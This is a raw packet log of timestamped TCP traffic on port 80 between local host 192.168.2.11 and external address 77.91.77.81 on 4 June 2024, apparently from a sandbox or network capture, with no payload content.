Jun 4, 2024 23:09:15.926460028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926460981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926460981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926491976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926510096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926511049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926525116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926536083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926541090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926547050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926552057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926562071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926573038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926584005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926584005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926593065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926599979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926605940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926616907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926623106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926626921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926630020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926641941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926652908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926675081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926675081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926675081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926688910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926700115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926704884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926713943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926714897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926713943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926727057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926738024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926755905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926755905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926758051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926769972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926775932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926780939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926785946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926795959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926806927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926820040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926820040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926830053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926841974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926851988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926857948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926857948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926857948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926868916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926879883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926891088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926902056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926914930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926914930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926919937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926933050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926937103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926939011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926950932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926963091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926975965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926975965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.926981926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.926992893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927002907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927012920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927026033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927026033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927026033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927037954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927051067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927057981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927057981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927064896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927077055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927083015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927088022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927093029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927098036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927103996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927113056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927124023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927134991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927135944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927135944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927146912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927166939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927166939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927170038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927185059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927202940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927206993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927206993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927216053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927227974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927234888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927234888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927237988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927251101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927261114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927265882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927265882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927273989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927284956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927295923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927301884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927306890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927309036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927309036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927313089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927319050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927329063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927339077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927359104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927369118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927376986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927381039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927392960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927403927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927408934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927408934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927416086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927428007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927438021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927438974 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927438974 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927450895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927457094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927462101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927467108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927472115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927476883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927488089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927506924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927506924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927510977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927522898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927522898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927536964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927545071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927546978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927558899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927570105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927575111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927581072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927592039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927594900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927603960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927603960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927613974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927624941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927634954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927645922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927656889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927668095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927680016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927690029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927695990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927695990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927701950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927712917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927720070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927720070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927723885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927736998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927747965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927757978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927762032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927762032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927768946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927779913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927791119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927802086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927812099 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927813053 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927813053 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927824020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927835941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927845955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927862883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927875996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927886963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927891016 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927891016 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927896976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927908897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927920103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927931070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927932024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927942038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927953005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927963018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927964926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927964926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.927974939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927984953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.927997112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928004026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928004026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928009987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928020954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928033113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928044081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928044081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928044081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928056955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928069115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928078890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928090096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928096056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928096056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928101063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928112984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928123951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928133965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928137064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928137064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928144932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928157091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928167105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928178072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928178072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928178072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928189993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928201914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.928220034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928220034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.928256035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.933374882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.933393002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.933404922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.933450937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.933896065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.933957100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.933969021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.933980942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.933993101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.933998108 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.933998108 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934056044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934067965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934079885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934091091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934102058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934103966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934103966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934114933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934137106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934137106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934161901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934178114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934189081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934206963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934210062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934221983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934232950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934233904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934252024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934263945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934267998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934269905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934269905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934273958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934297085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934308052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934313059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934323072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934324026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934324026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934341908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934372902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934372902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934381008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934392929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934401035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934407949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934420109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934423923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934428930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934436083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934448957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934451103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934462070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934473038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934474945 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934484959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934488058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934498072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934513092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934542894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934547901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934560061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934580088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934591055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934602022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934611082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934611082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934614897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934628010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934638977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934643984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934650898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934662104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934667110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934673071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934684038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934695005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934695005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934695005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934708118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934717894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934721947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.934762955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934762955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.934978962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935002089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935014009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935040951 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935101032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935168982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935180902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935192108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935201883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935213089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935219049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935226917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935239077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.935245037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.935249090 CEST	80	49713	77.91.77.81	192.168.2.11
